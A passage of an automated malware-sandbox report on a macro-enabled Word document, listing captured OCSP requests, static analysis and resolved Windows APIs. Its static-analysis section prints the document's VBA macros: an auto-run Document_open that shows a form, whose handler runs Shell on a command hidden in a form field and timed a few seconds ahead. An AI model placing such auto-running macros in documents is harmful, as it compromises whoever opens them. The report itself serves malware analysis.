  2394. "count": 1,
  2395. "body": "",
  2396. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2397. "user-agent": "Microsoft-CryptoAPI/6.1",
  2398. "method": "GET",
  2399. "host": "ocsp.digicert.com",
  2400. "version": "1.1",
  2401. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2402. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 150849\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 10:50:30 GMT\r\nIf-None-Match: \"5ced1276-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2403. "port": 80
  2404. },
  2405. {
  2406. "count": 1,
  2407. "body": "",
  2408. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2409. "user-agent": "Microsoft-CryptoAPI/6.1",
  2410. "method": "GET",
  2411. "host": "ocsp.digicert.com",
  2412. "version": "1.1",
  2413. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2414. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nCache-Control: max-age = 135176\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 05:30:18 GMT\r\nIf-None-Match: \"5cecc76a-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2415. "port": 80
  2416. },
  2417. {
  2418. "count": 1,
  2419. "body": "",
  2420. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2421. "user-agent": "Microsoft-CryptoAPI/6.1",
  2422. "method": "GET",
  2423. "host": "ocsp.digicert.com",
  2424. "version": "1.1",
  2425. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2426. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 168744\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 15:00:08 GMT\r\nIf-None-Match: \"5ced4cf8-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2427. "port": 80
  2428. },
  2429. {
  2430. "count": 1,
  2431. "body": "",
  2432. "uri": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
  2433. "user-agent": "Microsoft-CryptoAPI/6.1",
  2434. "method": "GET",
  2435. "host": "ocsp.pki.goog",
  2436. "version": "1.1",
  2437. "path": "/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
  2438. "data": "GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2439. "port": 80
  2440. },
  2441. {
  2442. "count": 1,
  2443. "body": "",
  2444. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  2445. "user-agent": "Microsoft-CryptoAPI/6.1",
  2446. "method": "GET",
  2447. "host": "ocsp.pki.goog",
  2448. "version": "1.1",
  2449. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  2450. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2451. "port": 80
  2452. }
  2453. ]
  2454.  
  2455. [*] Network Communication - SMTP: []
  2456.  
  2457. [*] Network Communication - Hosts: []
  2458.  
  2459. [*] Network Communication - IRC: []
  2460.  
  2461. [*] Static Analysis: {
  2462. "office": {
  2463. "Macro": {
  2464. "Code": {
  2465. "Macro2": [
  2466. [
  2467. "App1.frm",
  2468. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n"
  2469. ]
  2470. ],
  2471. "Macro1": [
  2472. [
  2473. "ThisDocument.cls",
  2474. "Sub document_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  2475. ]
  2476. ]
  2477. },
  2478. "Analysis": {
  2479. "Suspicious": [
  2480. [
  2481. "CallByName",
  2482. "May attempt to obfuscate malicious function calls"
  2483. ],
  2484. [
  2485. "Shell",
  2486. "May run an executable file or a system command"
  2487. ]
  2488. ],
  2489. "AutoExec": [
  2490. [
  2491. "Document_Open",
  2492. "Runs when the Word document is opened"
  2493. ]
  2494. ]
  2495. }
  2496. },
  2497. "Metadata": {
  2498. "SummaryInformation": {
  2499. "num_words": "23",
  2500. "num_pages": "1",
  2501. "last_saved_by": "1",
  2502. "creating_application": "Microsoft Office Word",
  2503. "author": "Microsoft Office",
  2504. "revision_number": "3",
  2505. "codepage": "1251",
  2506. "title": "",
  2507. "comments": "",
  2508. "num_chars": "134",
  2509. "total_edit_time": "0",
  2510. "create_time": "None",
  2511. "template": "Normal.dotm",
  2512. "last_printed": "None",
  2513. "keywords": "",
  2514. "security": "0",
  2515. "last_saved_time": "None",
  2516. "thumbnail": "None",
  2517. "subject": ""
  2518. },
  2519. "DocumentSummaryInformation": {
  2520. "codepage_doc": "1251",
  2521. "chars_with_spaces": "156",
  2522. "shared_doc": "False",
  2523. "paragraphs": "1",
  2524. "hidden_slides": "None",
  2525. "mm_clips": "None",
  2526. "category": "None",
  2527. "presentation_target": "None",
  2528. "hlinks_changed": "False",
  2529. "scale_crop": "False",
  2530. "version": "1048576",
  2531. "hlinks": "None",
  2532. "link_base": "None",
  2533. "company": "Microsoft Corporation",
  2534. "unused": "None",
  2535. "dig_sig": "None",
  2536. "content_type": "None",
  2537. "heading_pairs": "None",
  2538. "slides": "None",
  2539. "links_dirty": "False",
  2540. "language": "None",
  2541. "notes": "None",
  2542. "bytes": "None",
  2543. "manager": "None",
  2544. "content_status": "None",
  2545. "doc_version": "None",
  2546. "titles_of_parts": "None",
  2547. "lines": "1"
  2548. },
  2549. "HasMacros": "Yes",
  2550. "DocumentType": "Word Document"
  2551. }
  2552. }
  2553. }
  2554.  
  2555. [*] Resolved APIs: [
  2556. "mso.dll.#1443",
  2557. "mso.dll.#9214",
  2558. "mso.dll.#199",
  2559. "mso.dll.#1073",
  2560. "mso.dll.#4255",
  2561. "mso.dll.#6588",
  2562. "msi.dll.#111",
  2563. "mso.dll.#5889",
  2564. "mso.dll.#2422",
  2565. "mso.dll.#5735",
  2566. "mso.dll.#5002",
  2567. "gkword.dll.FValidateWordFile",
  2568. "gkword.dll.GkInitHost",
  2569. "mso.dll.#2739",
  2570. "mso.dll.#3459",
  2571. "mso.dll.#5709",
  2572. "mso.dll.#6333",
  2573. "mso.dll.#420",
  2574. "mso.dll.#408",
  2575. "mso.dll.#2714",
  2576. "mso.dll.#8622",
  2577. "mso.dll.#3380",
  2578. "mso.dll.#2052",
  2579. "mso.dll.#4208",
  2580. "mso.dll.#8980",
  2581. "mso.dll.#1006",
  2582. "mso.dll.#8218",
  2583. "mso.dll.#135",
  2584. "secur32.dll.FreeContextBuffer",
  2585. "ncrypt.dll.SslOpenProvider",
  2586. "ncrypt.dll.GetSChannelInterface",
  2587. "bcryptprimitives.dll.GetHashInterface",
  2588. "ncrypt.dll.SslIncrementProviderReferenceCount",
  2589. "ncrypt.dll.SslImportKey",
  2590. "bcryptprimitives.dll.GetCipherInterface",
  2591. "ncrypt.dll.SslLookupCipherSuiteInfo",
  2592. "mso.dll.#8046",
  2593. "user32.dll.LoadStringW",
  2594. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  2595. "ncrypt.dll.BCryptGetProperty",
  2596. "ncrypt.dll.BCryptCreateHash",
  2597. "ncrypt.dll.BCryptHashData",
  2598. "ncrypt.dll.BCryptFinishHash",
  2599. "ncrypt.dll.BCryptDestroyHash",
  2600. "crypt32.dll.CertGetCertificateChain",
  2601. "userenv.dll.GetUserProfileDirectoryW",
  2602. "sechost.dll.ConvertSidToStringSidW",
  2603. "sechost.dll.ConvertStringSidToSidW",
  2604. "userenv.dll.RegisterGPNotification",
  2605. "gpapi.dll.RegisterGPNotificationInternal",
  2606. "mso.dll.#1262",
  2607. "mso.dll.#3043",
  2608. "sechost.dll.OpenSCManagerW",
  2609. "sechost.dll.OpenServiceW",
  2610. "sechost.dll.CloseServiceHandle",
  2611. "sechost.dll.QueryServiceConfigW",
  2612. "cryptsp.dll.CryptAcquireContextA",
  2613. "cryptsp.dll.CryptCreateHash",
  2614. "cryptsp.dll.CryptHashData",
  2615. "cryptsp.dll.CryptVerifySignatureA",
  2616. "cryptsp.dll.CryptDestroyKey",
  2617. "cryptsp.dll.CryptDestroyHash",
  2618. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  2619. "ncrypt.dll.BCryptImportKeyPair",
  2620. "ncrypt.dll.BCryptVerifySignature",
  2621. "ncrypt.dll.BCryptDestroyKey",
  2622. "crypt32.dll.CertVerifyCertificateChainPolicy",
  2623. "crypt32.dll.CertFreeCertificateChain",
  2624. "crypt32.dll.CertDuplicateCertificateContext",
  2625. "ncrypt.dll.SslEncryptPacket",
  2626. "mso.dll.#8931",
  2627. "shell32.dll.SHGetFileInfoW",
  2628. "mso.dll.#5362",
  2629. "mso.dll.#6044",
  2630. "mso.dll.#6516",
  2631. "mso.dll.#6221",
  2632. "mso.dll.#5780",
  2633. "mso.dll.#4870",
  2634. "mso.dll.#6046",
  2635. "mso.dll.#677",
  2636. "mso.dll.#1241",
  2637. "mso.dll.#2821",
  2638. "mso.dll.#2340",
  2639. "mso.dll.#7287",
  2640. "mso.dll.#5290",
  2641. "mso.dll.#1508",
  2642. "user32.dll.IsZoomed",
  2643. "user32.dll.GetWindowPlacement",
  2644. "user32.dll.GetWindowRect",
  2645. "mso.dll.#821",
  2646. "user32.dll.GetSystemMetrics",
  2647. "user32.dll.MonitorFromWindow",
  2648. "user32.dll.MonitorFromRect",
  2649. "user32.dll.MonitorFromPoint",
  2650. "user32.dll.EnumDisplayMonitors",
  2651. "user32.dll.GetMonitorInfoA",
  2652. "user32.dll.EnumDisplayDevicesA",
  2653. "mso.dll.#2378",
  2654. "user32.dll.SetWindowPos",
  2655. "user32.dll.AdjustWindowRect",
  2656. "mso.dll.#5912",
  2657. "mso.dll.#9719",
  2658. "mso.dll.#8824",
  2659. "mso.dll.#6117",
  2660. "mso.dll.#3307",
  2661. "user32.dll.SendMessageW",
  2662. "user32.dll.DestroyIcon",
  2663. "mso.dll.#3813",
  2664. "mso.dll.#1815",
  2665. "user32.dll.PtInRect",
  2666. "mso.dll.#1613",
  2667. "user32.dll.SetWindowTextW",
  2668. "user32.dll.GetClassLongW",
  2669. "mso.dll.#8572",
  2670. "gdi32.dll.CreateDIBSection",
  2671. "gdi32.dll.CreateCompatibleDC",
  2672. "gdi32.dll.GetViewportOrgEx",
  2673. "gdi32.dll.SetViewportOrgEx",
  2674. "gdi32.dll.SetBkColor",
  2675. "gdi32.dll.ExtTextOutA",
  2676. "mso.dll.#1573",
  2677. "gdi32.dll.DeleteDC",
  2678. "mso.dll.#8612",
  2679. "user32.dll.SetScrollRange",
  2680. "mso.dll.#2509",
  2681. "user32.dll.BeginDeferWindowPos",
  2682. "user32.dll.DeferWindowPos",
  2683. "user32.dll.EndDeferWindowPos",
  2684. "user32.dll.OffsetRect",
  2685. "user32.dll.EnumChildWindows",
  2686. "user32.dll.GetScrollInfo",
  2687. "user32.dll.MapWindowPoints",
  2688. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  2689. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  2690. "ncrypt.dll.SslDecryptPacket",
  2691. "winhttp.dll.WinHttpReceiveResponse",
  2692. "winhttp.dll.WinHttpQueryHeaders",
  2693. "winhttp.dll.WinHttpQueryDataAvailable",
  2694. "winhttp.dll.WinHttpReadData",
  2695. "mso.dll.#6126",
  2696. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  2697. "gdi32.dll.GetFontRealizationInfo",
  2698. "gdi32.dll.GetFontFileInfo",
  2699. "gdi32.dll.GetFontFileData",
  2700. "kernel32.dll.WerRegisterMemoryBlock",
  2701. "webservices.dll.WsCreateError",
  2702. "mso.dll.#7261",
  2703. "mso.dll.#9540",
  2704. "usp10.dll.ScriptGetFontScriptTags",
  2705. "ntdll.dll.EtwEventWrite",
  2706. "ntdll.dll.EtwEventRegister",
  2707. "ntdll.dll.EtwEventUnregister",
  2708. "webservices.dll.WsCreateHeap",
  2709. "webservices.dll.WsCreateReader",
  2710. "webservices.dll.WsSetInput",
  2711. "usp10.dll.ScriptGetFontLanguageTags",
  2712. "usp10.dll.ScriptGetFontFeatureTags",
  2713. "mso.dll.#7047",
  2714. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  2715. "webservices.dll.WsFillReader",
  2716. "webservices.dll.WsReadToStartElement",
  2717. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  2718. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  2719. "webservices.dll.WsReadStartElement",
  2720. "webservices.dll.WsReadType",
  2721. "winhttp.dll.WinHttpCloseHandle",
  2722. "crypt32.dll.CertFreeCertificateContext",
  2723. "rpcrt4.dll.RpcBindingFree",
  2724. "webservices.dll.WsFreeReader",
  2725. "webservices.dll.WsFreeError",
  2726. "webservices.dll.WsFreeHeap",
  2727. "webservices.dll.WsCreateServiceProxyFromTemplate",
  2728. "winhttp.dll.WinHttpOpenRequest",
  2729. "winhttp.dll.WinHttpAddRequestHeaders",
  2730. "winhttp.dll.WinHttpSendRequest",
  2731. "winhttp.dll.WinHttpConnect",
  2732. "winhttp.dll.WinHttpCrackUrl",
  2733. "winhttp.dll.WinHttpSetStatusCallback",
  2734. "winhttp.dll.WinHttpOpen",
  2735. "winhttp.dll.WinHttpSetOption",
  2736. "winhttp.dll.WinHttpWriteData",
  2737. "winhttp.dll.WinHttpSetCredentials",
  2738. "winhttp.dll.WinHttpQueryAuthSchemes",
  2739. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  2740. "winhttp.dll.WinHttpGetProxyForUrl",
  2741. "winhttp.dll.WinHttpQueryOption",
  2742. "webservices.dll.WsOpenServiceProxy",
  2743. "gdiplus.dll.GdipLoadImageFromStreamICM",
  2744. "windowscodecs.dll.DllGetClassObject",
  2745. "webservices.dll.WsCall",
  2746. "gdiplus.dll.GdipGetImageRawFormat",
  2747. "gdiplus.dll.GdipGetImageFlags",
  2748. "gdiplus.dll.GdipGetImageWidth",
  2749. "gdiplus.dll.GdipGetImageHeight",
  2750. "gdiplus.dll.GdipGetImagePixelFormat",
  2751. "gdiplus.dll.GdipGetImageHorizontalResolution",
  2752. "gdiplus.dll.GdipGetImageVerticalResolution",
  2753. "gdiplus.dll.GdipImageGetFrameCount",
  2754. "webservices.dll.WsAddCustomHeader",
  2755. "gdiplus.dll.GdipDisposeImage",
  2756. "shlwapi.dll.StrStrA",
  2757. "shlwapi.dll.UrlUnescapeA",
  2758. "gdiplus.dll.GdipDeletePath",
  2759. "msptls.dll.?FsTransformPoint@Ptls6@@YGJKPBUtagFSRECT@1@PBUtagFSPOINT@1@KPAU31@@Z",
  2760. "msptls.dll.?FsTransformVector@Ptls6@@YGJKPBUtagFSVECTOR@1@KPAU21@@Z",
  2761. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  2762. "mso.dll.#8165",
  2763. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  2764. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  2765. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  2766. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  2767. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  2768. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  2769. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  2770. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  2771. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  2772. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  2773. "msptls.dll.?FsQueryAttachedObjectList@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfsattachedobjectdescription@1@PAJ@Z",
  2774. "msptls.dll.?FsQueryFigureObjectDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfsfiguredetails@1@@Z",
  2775. "mso.dll.#2566",
  2776. "mso.dll.#1429",
  2777. "mso.dll.#6502",
  2778. "uiautomationcore.dll.UiaClientsAreListening",
  2779. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  2780. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  2781. "user32.dll.SetRectEmpty",
  2782. "user32.dll.IntersectRect",
  2783. "user32.dll.InflateRect",
  2784. "mso.dll.#1100",
  2785. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  2786. "user32.dll.GetCursor",
  2787. "user32.dll.GetClientRect",
  2788. "user32.dll.SetScrollInfo",
  2789. "user32.dll.IsWindowEnabled",
  2790. "user32.dll.SetScrollPos",
  2791. "mso.dll.#3747",
  2792. "mso.dll.#5394",
  2793. "mso.dll.#331",
  2794. "mso.dll.#6829",
  2795. "mso.dll.#539",
  2796. "mso.dll.#4959",
  2797. "mso.dll.#6463",
  2798. "mso.dll.#4987",
  2799. "user32.dll.GetWindow",
  2800. "mso.dll.#7195",
  2801. "mso.dll.#7573",
  2802. "mso.dll.#445",
  2803. "user32.dll.GetCaretBlinkTime",
  2804. "user32.dll.CreateCaret",
  2805. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2806. "user32.dll.DestroyCaret",
  2807. "user32.dll.GetCaretPos",
  2808. "user32.dll.SetCaretPos",
  2809. "mso.dll.#5932",
  2810. "mso.dll.#2071",
  2811. "mso.dll.#1024",
  2812. "mso.dll.#6245",
  2813. "mso.dll.#9041",
  2814. "mso.dll.#1767",
  2815. "mso.dll.#9369",
  2816. "mso.dll.#4617",
  2817. "user32.dll.FillRect",
  2818. "mso.dll.#343",
  2819. "mso.dll.#9636",
  2820. "mso.dll.#2022",
  2821. "mso.dll.#4750",
  2822. "mso.dll.#4577",
  2823. "mso.dll.#850",
  2824. "mso.dll.#1776",
  2825. "mso.dll.#9026",
  2826. "mso.dll.#4497",
  2827. "mso.dll.#4647",
  2828. "mso.dll.#8926",
  2829. "mso.dll.#7212",
  2830. "mso.dll.#5407",
  2831. "shell32.dll.SHAddToRecentDocs",
  2832. "mso.dll.#5152",
  2833. "mso.dll.#3327",
  2834. "mso.dll.#1335",
  2835. "mso.dll.#2041",
  2836. "mso.dll.#7834",
  2837. "mso.dll.#239",
  2838. "mso.dll.#6357",
  2839. "mso.dll.#7026",
  2840. "mso.dll.#1671",
  2841. "oleaut32.dll.#7",
  2842. "mso.dll.#8263",
  2843. "mso.dll.#9307",
  2844. "mso.dll.#1441",
  2845. "mso.dll.#9223",
  2846. "ole32.dll.PropVariantClear",
  2847. "oleaut32.dll.#9",
  2848. "mso.dll.#6453",
  2849. "mso.dll.#8044",
  2850. "mso.dll.#3698",
  2851. "mso.dll.#8565",
  2852. "mso.dll.#8373",
  2853. "mso.dll.#9741",
  2854. "mso.dll.#478",
  2855. "mso.dll.#479",
  2856. "mso.dll.#340",
  2857. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  2858. "bcrypt.dll.BCryptGetProperty",
  2859. "bcrypt.dll.BCryptCreateHash",
  2860. "bcrypt.dll.BCryptHashData",
  2861. "bcrypt.dll.BCryptFinishHash",
  2862. "bcrypt.dll.BCryptDestroyHash",
  2863. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  2864. "mso.dll.#8633",
  2865. "mso.dll.#5213",
  2866. "mso.dll.#6163",
  2867. "mso.dll.#552",
  2868. "mso.dll.#5630",
  2869. "mso.dll.#2513",
  2870. "mso.dll.#1607",
  2871. "mso.dll.#1638",
  2872. "mso.dll.#1725",
  2873. "user32.dll.RegisterWindowMessageW",
  2874. "mso.dll.#4314",
  2875. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  2876. "mso.dll.#6484",
  2877. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  2878. "advapi32.dll.RegOpenKeyW",
  2879. "advapi32.dll.RegQueryValueW",
  2880. "mso.dll.#2183",
  2881. "mso.dll.#2161",
  2882. "vbe7.dll.DllVbeInit",
  2883. "msi.dll.MsiProvideQualifiedComponentA",
  2884. "msi.dll.MsiGetProductCodeA",
  2885. "msi.dll.MsiReinstallFeatureA",
  2886. "msi.dll.MsiProvideComponentA",
  2887. "kernel32.dll.HeapSetInformation",
  2888. "advapi32.dll.EventWrite",
  2889. "advapi32.dll.EventRegister",
  2890. "advapi32.dll.EventUnregister",
  2891. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  2892. "vbeui.dll._MsoVBADigSigCallDlg@20",
  2893. "vbeui.dll._MsoVbaInitSecurity@4",
  2894. "vbeui.dll._MsoFIEPolicyAndVersion@8",
  2895. "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
  2896. "vbeui.dll._MsoFInitOffice@20",
  2897. "vbeui.dll._MsoUninitOffice@4",
  2898. "vbeui.dll._MsoFGetFontSettings@20",
  2899. "vbeui.dll._MsoRgchToRgwch@16",
  2900. "vbeui.dll._MsoHrSimpleQueryInterface@16",
  2901. "vbeui.dll._MsoHrSimpleQueryInterface2@20",
  2902. "vbeui.dll._MsoFCreateControl@36",
  2903. "vbeui.dll._MsoFLongLoad@8",
  2904. "vbeui.dll._MsoFLongSave@8",
  2905. "vbeui.dll._MsoFGetTooltips@0",
  2906. "vbeui.dll._MsoFSetTooltips@4",
  2907. "vbeui.dll._MsoFLoadToolbarSet@24",
  2908. "vbeui.dll._MsoFCreateToolbarSet@28",
  2909. "vbeui.dll._MsoHpalOffice@0",
  2910. "vbeui.dll._MsoFWndProcNeeded@4",
  2911. "vbeui.dll._MsoFWndProc@24",
  2912. "vbeui.dll._MsoFCreateITFCHwnd@20",
  2913. "vbeui.dll._MsoDestroyITFC@4",
  2914. "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
  2915. "vbeui.dll._MsoFGetComponentManager@4",
  2916. "vbeui.dll._MsoMultiByteToWideChar@24",
  2917. "vbeui.dll._MsoWideCharToMultiByte@32",
  2918. "vbeui.dll._MsoHrRegisterAll@0",
  2919. "vbeui.dll._MsoFSetComponentManager@4",
  2920. "vbeui.dll._MsoFCreateStdComponentManager@20",
  2921. "vbeui.dll._MsoFHandledMessageNeeded@4",
  2922. "vbeui.dll._MsoPeekMessage@8",
  2923. "vbeui.dll._MsoFCreateIPref@28",
  2924. "vbeui.dll._MsoDestroyIPref@4",
  2925. "vbeui.dll._MsoChsFromLid@4",
  2926. "vbeui.dll._MsoCpgFromChs@4",
  2927. "vbeui.dll._MsoSetLocale@4",
  2928. "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
  2929. "vbeui.dll._MsoSetVbaInterfaces@8",
  2930. "vbeui.dll._MsoGetControlInstanceId@8",
  2931. "oleaut32.dll.SysFreeString",
  2932. "oleaut32.dll.LoadTypeLib",
  2933. "oleaut32.dll.RegisterTypeLib",
  2934. "oleaut32.dll.QueryPathOfRegTypeLib",
  2935. "oleaut32.dll.UnRegisterTypeLib",
  2936. "oleaut32.dll.OleTranslateColor",
  2937. "oleaut32.dll.OleCreateFontIndirect",
  2938. "oleaut32.dll.OleCreatePictureIndirect",
  2939. "oleaut32.dll.OleLoadPicture",
  2940. "oleaut32.dll.OleCreatePropertyFrameIndirect",
  2941. "oleaut32.dll.OleCreatePropertyFrame",
  2942. "oleaut32.dll.OleIconToCursor",
  2943. "oleaut32.dll.LoadTypeLibEx",
  2944. "oleaut32.dll.OleLoadPictureEx",
  2945. "cryptnet.dll.CertDllVerifyRevocation",
  2946. "profapi.dll.#104",
  2947. "sensapi.dll.IsNetworkAlive",
  2948. "rpcrt4.dll.RpcBindingFromStringBindingW",
  2949. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  2950. "rpcrt4.dll.NdrClientCall2",
  2951. "winhttp.dll.WinHttpSetTimeouts",
  2952. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  2953. "apphelp.dll.ApphelpCheckShellObject",
  2954. "oleaut32.dll.DispCallFunc",
  2955. "oleaut32.dll.CreateTypeLib2",
  2956. "oleaut32.dll.VarDateFromUdate",
  2957. "oleaut32.dll.VarUdateFromDate",
  2958. "oleaut32.dll.GetAltMonthNames",
  2959. "oleaut32.dll.VarNumFromParseNum",
  2960. "oleaut32.dll.VarParseNumFromStr",
  2961. "oleaut32.dll.VarDecFromR4",
  2962. "oleaut32.dll.VarDecFromR8",
  2963. "oleaut32.dll.VarDecFromDate",
  2964. "oleaut32.dll.VarDecFromI4",
  2965. "oleaut32.dll.VarDecFromCy",
  2966. "oleaut32.dll.VarR4FromDec",
  2967. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  2968. "oleaut32.dll.GetRecordInfoFromGuids",
